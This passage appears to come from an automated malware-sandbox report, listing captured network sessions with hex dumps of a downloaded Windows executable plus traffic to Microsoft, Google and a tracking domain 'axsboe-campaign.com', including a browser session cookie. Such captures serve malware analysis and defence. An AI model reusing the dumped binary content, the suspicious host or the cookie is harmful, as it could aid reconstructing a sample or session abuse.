00 00 8b 45 e0 83 e8 04 f6 00 01 0f 85 52 01 00 00 8b 45 e0 e8 57 ff ff ff 84 c0 0f 85 42 01 00 00 8b 45 08 c6 80 Data Ascii: KSt)K8?}KK\K3K[SVWK3?t?6t6J\|&B3;tuT@JuK_^[USVWEEpKUHMUEmEREWBE
2023-12-06 13:51:06 UTC	16384	IN	Data Raw: 24 0f b7 08 66 3b 0a 74 39 66 3b 4a 02 74 36 83 c2 08 3b 54 24 08 72 18 83 c2 fc 3b 54 24 08 72 e3 83 c4 0c 8b 04 24 0b 44 24 04 5b 5e 31 c0 c3 66 3b 4a fc 74 09 66 3b 4a fe 75 c8 83 c2 02 83 c2 fc 83 c2 fe 8b 34 24 85 f6 74 1d 8b 1c 30 3b 5c 32 02 75 ba 83 fe fc 7d 0f 8b 5c 30 04 3b 5c 32 06 75 ab 83 c6 08 7c e3 8b 44 24 04 83 c2 04 3b 54 24 08 77 ab 83 c4 0c 8b 0c 24 0b 4c 24 04 74 08 89 c3 89 d6 89 d8 89 f2 01 d0 d1 e8 5b 5e c3 55 8b ec 53 0f b7 5d 08 53 e8 62 f0 ff ff 5b 5d c2 04 00 90 55 8b ec 53 0f b7 5d 08 53 e8 ce f1 ff ff 5b 5d c2 04 00 90 31 c9 53 8a 4a 01 56 57 8d 74 11 0a 8b 7c 11 06 89 c3 85 ff 74 1d 8b 16 85 d2 74 11 8b 46 04 01 d8 8b 12 b9 01 00 00 00 e8 0b 00 00 00 83 c6 08 4f 7f e3 5f 5e 5b c3 90 85 c9 0f 84 8e 00 00 00 53 56 57 89 c3 89 Data Ascii: $f;t9f;Jt6;T$r;T$r$D$[^1f;Jtf;Ju4$t0;\2u}\0;\2u\|D$;T$w$L$t[^US]Sb[]US]S[]1SJVWt\|ttFO_^[SVW
2023-12-06 13:51:06 UTC	16384	IN	Data Raw: 48 04 3b 4a 04 75 10 8b 48 08 3b 4a 08 75 08 8b 40 0c 3b 42 0c 74 03 33 c0 c3 b0 01 c3 55 8b ec 33 c0 55 68 94 cb 40 00 64 ff 30 64 89 20 ff 05 8c b9 4b 00 75 55 b8 64 b0 4b 00 e8 f1 8c ff ff b8 40 b3 4b 00 e8 e7 8c ff ff b8 1c b6 4b 00 e8 dd 8c ff ff e8 ec d7 ff ff 83 3d 10 7c 4b 00 00 74 0a a1 10 7c 4b 00 e8 05 77 ff ff b8 d8 dc 4b 00 e8 27 f6 ff ff e8 0e 88 ff ff b8 d8 dc 4b 00 8b 15 50 b8 40 00 e8 0a c1 ff ff 33 c0 5a 59 59 64 89 10 68 9b cb 40 00 c3 e9 a3 a4 ff ff eb f8 5d c3 8d 40 00 55 8b ec 8b 55 08 8b 45 0c f0 87 02 5d c2 08 00 ff 25 30 23 4c 00 8b c0 ff 25 2c 23 4c 00 8b c0 ff 25 6c 24 4c 00 8b c0 ff 25 fc 22 4c 00 8b c0 ff 25 4c 24 4c 00 8b c0 ff 25 5c 24 4c 00 8b c0 ff 25 40 23 4c 00 8b c0 ff 25 58 23 4c 00 8b c0 ff 25 64 23 4c 00 8b c0 ff 25 Data Ascii: H;JuH;Ju@;Bt3U3Uh@d0d KuUdK@KK=\|Kt\|KwK'KP@3ZYYdh@]@UUE]%0#L%,#L%l$L%"L%L$L%\$L%@#L%X#L%d#L%
2023-12-06 13:51:06 UTC	16384	IN	Data Raw: 09 fe 13 50 09 08 01 45 09 08 01 08 01 08 01 16 16 00 05 08 01 08 01 08 01 08 01 4b 0a 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 41 05 8a 10 08 01 08 01 08 01 08 01 08 01 18 16 41 05 48 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 41 00 c6 06 61 00 0d 15 c2 06 1f 14 09 15 41 00 dd 00 d3 06 42 15 53 15 20 14 41 00 c6 06 61 00 b7 14 e1 06 61 00 b3 14 e1 14 ed 06 05 15 41 00 d9 00 61 00 41 00 c6 06 61 00 0d 15 c2 06 61 00 09 15 41 00 dd 00 05 15 41 00 d9 00 61 00 41 00 c6 06 61 00 55 14 41 00 1f 15 ec 00 0f 15 15 15 61 00 2b 15 41 00 1b 15 e8 00 0b 15 c8 00 61 00 ee 00 41 00 17 15 61 00 70 15 b5 15 b5 15 b5 15 8b 13 8b 13 8b 13 55 09 8b 13 8b 13 99 16 31 05 7c 14 80 13 8a 13 00 05 00 05 00 05 00 05 00 05 6d 09 81 07 b5 12 00 05 00 05 00 05 Data Ascii: PEKAAHAaABS AaaAaAaaAAaAaUAa+AaAapU1\|m
2023-12-06 13:51:06 UTC	16384	IN	Data Raw: 08 2c 03 74 04 33 c0 eb 02 b0 01 5e 5b c3 8d 40 00 53 56 8b d8 0f b7 33 83 fe 7f 77 0c 83 c6 d0 83 ee 0a 0f 92 c0 5e 5b c3 81 fe ff 00 00 00 77 12 a1 88 e6 4b 00 0f b6 04 30 04 f3 2c 03 0f 92 c0 eb 0e 8b c6 e8 f7 fe ff ff 04 f3 2c 03 0f 92 c0 5e 5b c3 90 ff 05 78 e6 4b 00 c3 90 1a 00 00 00 cc 7d 4b 00 58 a5 4b 00 02 00 00 00 c4 7d 4b 00 a0 a7 4b 00 02 00 00 00 bc 7d 4b 00 f8 a5 4b 00 02 00 00 00 b4 7d 4b 00 34 a5 4b 00 02 00 00 00 ac 7d 4b 00 60 a6 4b 00 02 00 00 00 a4 7d 4b 00 94 a5 4b 00 02 00 00 00 9c 7d 4b 00 88 a4 4b 00 02 00 00 00 94 7d 4b 00 a0 a6 4b 00 02 00 00 00 8c 7d 4b 00 c4 a6 4b 00 02 00 00 00 84 7d 4b 00 18 a5 4b 00 02 00 00 00 7c 7d 4b 00 80 a5 4b 00 02 00 00 00 74 7d 4b 00 5c a4 4b 00 02 00 00 00 6c 7d 4b 00 bc a5 4b 00 02 00 00 00 64 7d Data Ascii: ,t3^[@SV3w^[wK0,,^[xK}KXK}KK}KK}K4K}K`K}KK}KK}KK}KK}KK\|}KKt}K\Kl}KKd}
2023-12-06 13:51:07 UTC	16384	IN	Data Raw: 6e 67 03 00 b8 12 40 00 10 00 05 08 9c 8b 41 00 00 00 04 53 65 6c 66 02 00 02 a4 31 40 00 01 00 05 42 79 74 65 73 02 00 00 9c 10 40 00 02 00 09 42 79 74 65 49 6e 64 65 78 02 00 00 9c 10 40 00 0c 00 09 42 79 74 65 43 6f 75 6e 74 02 00 40 b8 12 40 00 08 00 01 01 02 00 02 00 43 00 18 7c 4b 00 09 47 65 74 53 74 72 69 6e 67 03 00 b8 12 40 00 0c 00 03 08 9c 8b 41 00 00 00 04 53 65 6c 66 02 00 16 b4 10 40 00 01 00 05 42 79 74 65 73 02 00 40 b8 12 40 00 08 00 01 01 02 00 02 00 00 00 00 a0 8b 41 00 07 09 54 45 6e 63 6f 64 69 6e 67 bc 7a 41 00 88 1f 40 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 04 00 02 e9 8b 41 00 02 00 02 0c 8c 41 00 02 00 02 33 8c 41 00 02 00 02 56 8c 41 00 02 00 02 00 00 00 e4 10 40 00 10 00 00 fe 00 00 00 00 01 00 00 00 00 Data Ascii: ng@ASelf1@Bytes@ByteIndex@ByteCount@@C\|KGetString@ASelf@Bytes@@ATEncodingzA@System.SysUtilsAA3AVA@
2023-12-06 13:51:07 UTC	16384	IN	Data Raw: 04 74 18 eb 36 8b 45 08 50 0f b7 45 fc 8b 55 e4 e8 24 fa ff ff 59 e9 e5 05 00 00 8b 45 08 50 0f b7 45 fc 8b 55 08 8b 92 30 fd ff ff 8b 44 82 20 e8 e8 f9 ff ff 59 e9 c5 05 00 00 8b 45 08 50 0f b7 45 fc 8b 55 08 8b 92 30 fd ff ff 8b 44 82 50 e8 c8 f9 ff ff 59 e9 a5 05 00 00 55 e8 24 fa ff ff 59 8b 45 e4 48 83 e8 02 72 11 74 2c 48 74 59 48 0f 84 82 00 00 00 e9 98 00 00 00 55 e8 37 fa ff ff 59 8b 45 08 50 0f b7 45 fa 8b 55 e4 e8 a6 f9 ff ff 59 e9 67 05 00 00 8b 45 08 50 8b 45 08 ff 70 0c ff 70 08 e8 d2 f7 ff ff 0f b7 c0 8b 55 08 8b 92 30 fd ff ff 8b 84 82 80 00 00 00 e8 5a f9 ff ff 59 e9 37 05 00 00 8b 45 08 50 8b 45 08 ff 70 0c ff 70 08 e8 a2 f7 ff ff 0f b7 c0 8b 55 08 8b 92 30 fd ff ff 8b 84 82 9c 00 00 00 e8 2a f9 ff ff 59 e9 07 05 00 00 8b 45 08 50 8b 45 Data Ascii: t6EPEU$YEPEU0D YEPEU0DPYU$YEHrt,HtYHU7YEPEUYgEPEppU0ZY7EPEppU0*YEPE
2023-12-06 13:51:07 UTC	16384	IN	Data Raw: ff 8b c8 8b d4 8b c6 e8 a1 70 fe ff 81 c4 0c 02 00 00 5e 5b c3 e8 73 d6 fe ff 33 d2 e8 04 00 00 00 c3 8d 40 00 55 8b ec 83 c4 e0 53 56 33 c9 89 4d e0 8b f2 8b d8 33 c0 55 68 c0 0b 42 00 64 ff 30 64 89 20 85 db 74 41 89 5d e4 c6 45 e8 00 8d 4d e0 33 d2 8b c3 e8 72 d4 ff ff 8b 45 e0 89 45 ec c6 45 f0 11 89 75 f4 c6 45 f8 11 8d 45 e4 50 6a 02 8b 0d 90 a6 4b 00 b2 01 a1 38 69 41 00 e8 f5 e7 ff ff 89 45 fc eb 15 8b 0d 58 a7 4b 00 b2 01 a1 38 69 41 00 e8 a2 e7 ff ff 89 45 fc 8b 45 fc 89 58 18 ff 75 04 8b 45 fc e9 72 65 fe ff 33 c0 5a 59 59 64 89 10 68 c7 0b 42 00 8d 45 e0 e8 61 6e fe ff c3 e9 77 64 fe ff eb f0 5e 5b 8b e5 5d c3 8d 40 00 53 56 be 9c 92 4b 00 eb 0d 8b 1e 8b 03 89 06 8b c3 e8 26 48 fe ff 83 3e 00 75 ee 5e 5b c3 8b c0 53 68 28 0c 42 00 e8 ad d5 fe Data Ascii: p^[s3@USV3M3UhBd0d tA]EM3rEEEuEEPjK8iAEXK8iAEEXuEre3ZYYdhBEanwd^[]@SVK&H>u^[Sh(B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:39 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fLShy8bsHkSVG9b&MD=VkRwrnBh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-12-06 13:51:40 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 4d 78 31 52 6f 4a 48 2f 71 45 77 70 57 66 4b 6c 6c 78 37 73 62 73 6c 32 38 41 75 45 52 7a 35 49 59 64 63 73 76 74 54 4a 63 67 4d 3d 5f 32 31 36 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 30 30 64 31 38 30 61 64 2d 38 39 34 39 2d 34 63 37 30 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160"MS-CorrelationId: 00d180ad-8949-4c70-
2023-12-06 13:51:40 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2023-12-06 13:51:40 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49727	142.251.16.101	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:14 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-06 13:52:14 UTC	732	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 72 65 70 6f 72 74 2d 73 61 6d 70 6c 65 27 20 27 6e 6f 6e 63 65 2d 4d 70 47 34 63 67 2d 43 73 63 6d 48 66 62 32 6d 42 78 73 75 58 77 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 73 74 72 69 63 74 2d 64 79 6e 61 6d 69 63 27 20 68 74 74 70 73 3a 20 68 74 74 70 3a 3b 6f 62 6a 65 63 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 77 69 74 68 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 73 70 2f 63 6c 69 65 6e 74 75 70 64 61 74 65 2d 61 75 73 2f 31 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c Data Ascii: HTTP/1.1 200 OKContent-Security-Policy: script-src 'report-sample' 'nonce-MpG4cg-CscmHfb2mBxsuXw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1Cache-Control
2023-12-06 13:52:14 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 38 33 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 31 31 33 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6183" elapsed_seconds="21134"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-12-06 13:52:14 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-12-06 13:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49726	142.251.111.84	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:14 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
2023-12-06 13:52:14 UTC	1	OUT	Data Raw: 20 Data Ascii:
2023-12-06 13:52:14 UTC	1627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Access-Control-Allow-Origin: https://www.google.comAccess-Control-Allow-Credentials: trueX-Content-Type-Options: nosniffCache-Control: no-cache, no-store, max-age=0, must-revalidatePr
2023-12-06 13:52:14 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-12-06 13:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49729	104.21.37.216	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:14 UTC	718	OUT	GET /pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 HTTP/1.1 Host: axsboe-campaign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-06 13:52:14 UTC	670	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 31 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Wed, 06 Dec 2023 13:52:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/5.4.16Location: https://www.bing.comAccess-Control-Allow-Origin: *CF-Cache-Status: DYNAMIC
2023-12-06 13:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49801	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-12-06 13:52:19 UTC	435	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 6e 66 69 67 2e 6a 73 6f 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 4c 61 73 74 2d 4d 6f 64 69 Data Ascii: HTTP/1.1 200 OKApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonContent-Type: application/octet-streamETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"Last-Modi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49824	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-12-06 13:52:20 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 31 36 20 4d 61 79 20 32 30 31 37 20 32 32 3a 35 38 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 